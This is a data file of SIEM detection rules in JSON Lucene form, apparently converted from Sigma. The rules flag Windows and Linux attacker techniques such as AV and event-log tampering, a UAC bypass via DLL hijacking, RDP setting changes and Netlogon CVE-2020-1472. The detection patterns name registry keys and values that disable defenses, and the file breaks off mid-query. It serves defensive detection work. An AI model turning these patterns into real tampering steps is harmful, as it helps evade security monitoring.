{"description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "enabled": false, "false_positives": ["App-V clients"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d44a98e6-52a3-1bfe-01c9-7f932bd4afff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", "query": "ContextInfo:*SyncAppvPublishingServer.exe*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "OSCD Community"], "license": ""}
{"description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "enabled": false, "false_positives": ["App-V clients"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d44a98e6-52a3-1bfe-01c9-7f932bd4afff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", "query": "powershell.file.script_block_text:*SyncAppvPublishingServer.exe*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "OSCD Community"], "license": ""}
{"description": "Detects System Information Discovery commands", "author": ["Pawel Mazur"], "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d0e789d2-8e91-6240-b718-85e7876725d8", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "System Information Discovery - Auditd", "query": "(((type:\"PATH\" AND name:(\"/etc/lsb-release\" OR \"/etc/redhat-release\" OR \"/etc/issue\"))) OR ((type:\"EXECVE\" AND a0:(\"uname\" OR \"uptime\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects system information discovery commands", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e8d672e2-6993-0fa6-b6b1-85084d3d79df", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Information Discovery", "query": "(type:\"PATH\" AND name:(\"\\/sys\\/class\\/dmi\\/id\\/bios_version\" OR \"\\/sys\\/class\\/dmi\\/id\\/product_name\" OR \"\\/sys\\/class\\/dmi\\/id\\/chassis_vendor\" OR \"\\/proc\\/scsi\\/scsi\" OR \"\\/proc\\/ide\\/hd0\\/model\" OR \"\\/proc\\/version\" OR \\/etc\\/*version OR \\/etc\\/*release OR \"\\/etc\\/issue\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects system information discovery commands", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e8d672e2-6993-0fa6-b6b1-85084d3d79df", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Information Discovery", "query": "process.executable:(*\\/uname OR *\\/hostname OR *\\/uptime OR *\\/lspci OR *\\/dmidecode OR *\\/lscpu OR *\\/lsmod)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects tamper attempts to sophos av functionality via registry key modification", "enabled": false, "false_positives": ["Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2c0ed973-ae54-f656-9c14-2993fbc7db02", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tamper With Sophos AV Registry Keys", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Sophos\\ Endpoint\\ Defense\\\\TamperProtection\\\\Config\\\\SAVEnabled* OR *\\\\Sophos\\ Endpoint\\ Defense\\\\TamperProtection\\\\Config\\\\SEDEnabled* OR *\\\\Sophos\\\\SAVService\\\\TamperProtection\\\\Enabled*) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "03d28d7c-7b72-374e-1d07-aaa2f6cc7718", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AutoLogger Sessions Tamper", "query": "((winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\* AND winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\EventLog\\-* OR *\\\\Defender*) AND winlog.event_data.TargetObject:(*\\\\Enabled OR *\\\\Start) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\") AND (NOT ((process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\wevtutil.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", "enabled": false, "false_positives": ["Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a10fc8c6-f1f1-18e5-17f8-067f1383da37", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "RDP Sensitive Settings Changed", "query": "(winlog.event_data.TargetObject:(*\\\\fDenyTSConnections OR *\\\\fSingleSessionPerUser OR *\\\\UserAuthentication) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "David ANDRE", "Roberto Rodriguez @Cyb3rWard0g", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", "enabled": false, "false_positives": ["Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a10fc8c6-f1f1-18e5-17f8-067f1383da37", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP Sensitive Settings Changed", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:(*SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\Terminal\\ Services\\\\* OR *\\\\Control\\\\Terminal\\ Server\\\\*) AND winlog.event_data.TargetObject:*\\\\Shadow AND winlog.event_data.Details:(\"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\" OR \"DWORD\\ \$0x00000003\$\" OR \"DWORD\\ \$0x00000004\$\")) OR (winlog.event_data.TargetObject:(*\\\\Control\\\\Terminal\\ Server\\\\* OR *SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\Terminal\\ Services\\\\*) AND winlog.event_data.TargetObject:(*\\\\fAllowUnsolicited OR *\\\\fAllowUnsolicitedFullControl) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR winlog.event_data.TargetObject:(*\\\\services\\\\TermService\\\\Parameters\\\\ServiceDll* OR *\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram* OR *\\\\Control\\\\Terminal\\ Server\\\\InitialProgram* OR *SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\Terminal\\ Services\\\\InitialProgram*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "David ANDRE", "Roberto Rodriguez @Cyb3rWard0g", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "76b270db-26fe-eb2f-7f33-0ef6b70979dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Attachment Manager Settings Associations Tamper", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Associations\\\\*) AND (((winlog.event_data.TargetObject:*\\\\DefaultFileTypeRisk AND winlog.event_data.Details:\"DWORD (0x00006152)\")) OR ((winlog.event_data.TargetObject:*\\\\LowRiskFileTypes AND winlog.event_data.Details:(*.zip;* OR *.rar;* OR *.exe;* OR *.bat;* OR *.com;* OR *.cmd;* OR *.reg;* OR *.msi;* OR *.htm;* OR *.html;*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6b4b5988-5997-cb51-1cd3-050722d6772b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Attachment Manager Settings Attachments Tamper", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Attachments\\\\*) AND (((winlog.event_data.TargetObject:*\\\\HideZoneInfoOnProperties AND winlog.event_data.Details:\"DWORD (0x00000001)\")) OR ((winlog.event_data.TargetObject:*\\\\SaveZoneInformation AND winlog.event_data.Details:\"DWORD (0x00000002)\")) OR ((winlog.event_data.TargetObject:*\\\\ScanWithAntiVirus AND winlog.event_data.Details:\"DWORD (0x00000001)\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects tampering with EventLog service \"file\" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting", "author": ["D3F7A5105"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "57b0d236-de4a-4ca2-c689-e5eeac104cf1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential EventLog File Location Tampering", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\EventLog\\\\* AND winlog.event_data.TargetObject:*\\\\File) AND (NOT (winlog.event_data.Details:*\\\\System32\\\\Winevt\\\\Logs\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "94045ed5-f2a9-9147-a421-ed05a3607547", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Change Winevt Event Access Permission Via Registry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\* AND winlog.event_data.TargetObject:*\\\\ChannelAccess AND winlog.event_data.Details:(*\$A;;0x1;;;SY\$* OR *\$A;;0x5;;;BA\$* OR *\$A;;0x1;;;LA\$*)) AND (NOT ((process.executable.text:\"C\\:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\") OR (process.executable.text:*\\\\TiWorker.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "03fde8d6-c9d9-4283-1397-07d6c8f31d48", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Macro Runtime Scan Scope", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\* AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Office\\\\* AND winlog.event_data.TargetObject:*\\\\Common\\\\Security* AND winlog.event_data.TargetObject:*\\\\MacroRuntimeScanScope AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Task Scheduler .job import arbitrary DACL write\\par", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e5f54ee8-c1c3-f41d-3238-c16a8e1ea78d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows 10 Scheduled Task SandboxEscaper 0-day", "query": "(process.executable:*\\\\schtasks.exe AND winlog.event_data.OriginalFileName:\"schtasks.exe\" AND process.command_line:*\\/change* AND process.command_line:*\\/TN* AND process.command_line:*\\/RU* AND process.command_line:*\\/RP*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Olaf Hartong"], "license": ""}
{"description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3385dad7-bfd9-a241-16ad-6016be412116", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Directory Enumeration", "query": "(powershell.file.script_block_text:*foreach* AND powershell.file.script_block_text:*Get\\-ChildItem* AND powershell.file.script_block_text:*\\-Path\\ * AND powershell.file.script_block_text:*\\-ErrorAction\\ * AND powershell.file.script_block_text:*SilentlyContinue* AND powershell.file.script_block_text:*Out\\-File\\ * AND powershell.file.script_block_text:*\\-append*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects tempering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", "enabled": false, "false_positives": ["Legitimate administrators disabling specific event log for troubleshooting"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f264ad1d-68ae-5530-e4d5-01f58bad3c92", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Winevt Event Logging Via Registry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\* AND winlog.event_data.TargetObject:*\\\\Enabled AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\") AND (NOT ((process.executable.text:*\\\\Windows\\\\system32\\\\wevtutil.exe) OR (process.executable.text:C\\:\\\\Windows\\\\winsxs\\\\* AND process.executable.text:*\\\\TiWorker.exe) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" AND winlog.event_data.TargetObject:(*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft\\-Windows\\-FileInfoMinifilter* OR *\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft\\-Windows\\-ASN1\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects that a powershell code is written to the registry as a service.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1ce15f40-9a7b-7058-841f-7d8148890856", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell as a Service in Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\ImagePath AND winlog.event_data.Details:(*powershell* OR *pwsh*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f07d470-aa2a-be68-a5ec-39a2b6541bcf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Netlogon Secure Channel Connection Allowed", "query": "(winlog.channel:\"System\" AND Provider_Name:\"NetLogon\" AND winlog.event_id:\"5829\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f29911f-a759-aae4-36c6-466eb812640e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Iscsicpl - ImageLoad", "query": "((process.executable.text:\"C\\:\\\\Windows\\\\SysWOW64\\\\iscsicpl.exe\" AND file.path.text:*\\\\iscsiexe.dll) AND (NOT (file.path.text:*C\\:\\\\Windows\\\\* AND file.path.text:*iscsiexe.dll*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", "enabled": false, "false_positives": ["Administrator actions", "Auto updates of Windows Defender causes restarts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "99ee1ad1-17cd-29ff-fe94-f3b50022fdbd", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Defender Threat Detection Disabled - Service", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"7036\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND param1:(\"Windows\\ Defender\\ Antivirus\\ Service\" OR \"Service\\ antivirus\\ Microsoft\\ Defender\") AND param2:\"stopped\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd", "frack113"], "license": ""}
{"description": "Detects the abuse of custom file open handler, executing powershell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31069c3d-2d36-8df5-67a2-b28f3ff5e4b5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Custom File Open Handler Executes PowerShell", "query": "(winlog.event_data.TargetObject:*shell\\\\open\\\\command\\\\* AND winlog.event_data.Details:*powershell* AND winlog.event_data.Details:*\\-command* AND winlog.event_data.EventType:\"SetValue\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["CD_R0M_"], "license": ""}
{"description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "66e0f872-9e0f-365b-c794-c51543cada0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New File Association Using Exefile", "query": "(winlog.event_data.TargetObject:*Classes\\\\.* AND winlog.event_data.Details:\"exefile\" AND winlog.event_data.EventType:\"SetValue\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious.", "enabled": false, "false_positives": ["SysInternals Process Explorer"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2548e94b-4db1-5f25-f016-0503488c9c58", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious In-Memory Module Execution", "query": "((((winlog.event_data.CallTrace:*C\\:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*|C\\:\\\\WINDOWS\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*|UNKNOWN\$* AND winlog.event_data.CallTrace:*\$*) OR (winlog.event_data.CallTrace:*UNKNOWN\$* AND winlog.event_data.CallTrace:*\$|UNKNOWN\$* AND winlog.event_data.CallTrace:*\$)) OR (winlog.event_data.CallTrace:*UNKNOWN* AND winlog.event_data.GrantedAccess:(\"0x1F0FFF\" OR \"0x1F1FFF\" OR \"0x143A\" OR \"0x1410\" OR \"0x1010\" OR \"0x1F2FFF\" OR \"0x1F3FFF\" OR \"0x1FFFFF\"))) AND (NOT ((process.executable:(*\\\\Windows\\\\System32\\\\sdiagnhost.exe OR *\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\aurora\\-agent\\-64.exe OR *\\\\aurora\\-agent.exe OR *\\\\git\\\\usr\\\\bin\\\\sh.exe OR *\\\\IDE\\\\devenv.exe OR *\\\\GitHubDesktop\\\\Update.exe OR *\\\\RuntimeBroker.exe OR *\\\\backgroundTaskHost.exe OR *\\\\GitHubDesktop.exe) OR process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\*\\\\NGenTask.exe* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* OR C\\:\\\\WINDOWS\\\\System32\\\\DriverStore\\\\* OR C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\*) OR process.executable:(C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR \"C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\ctfmon.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\NhNotifSys.exe\" OR \"C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\") OR 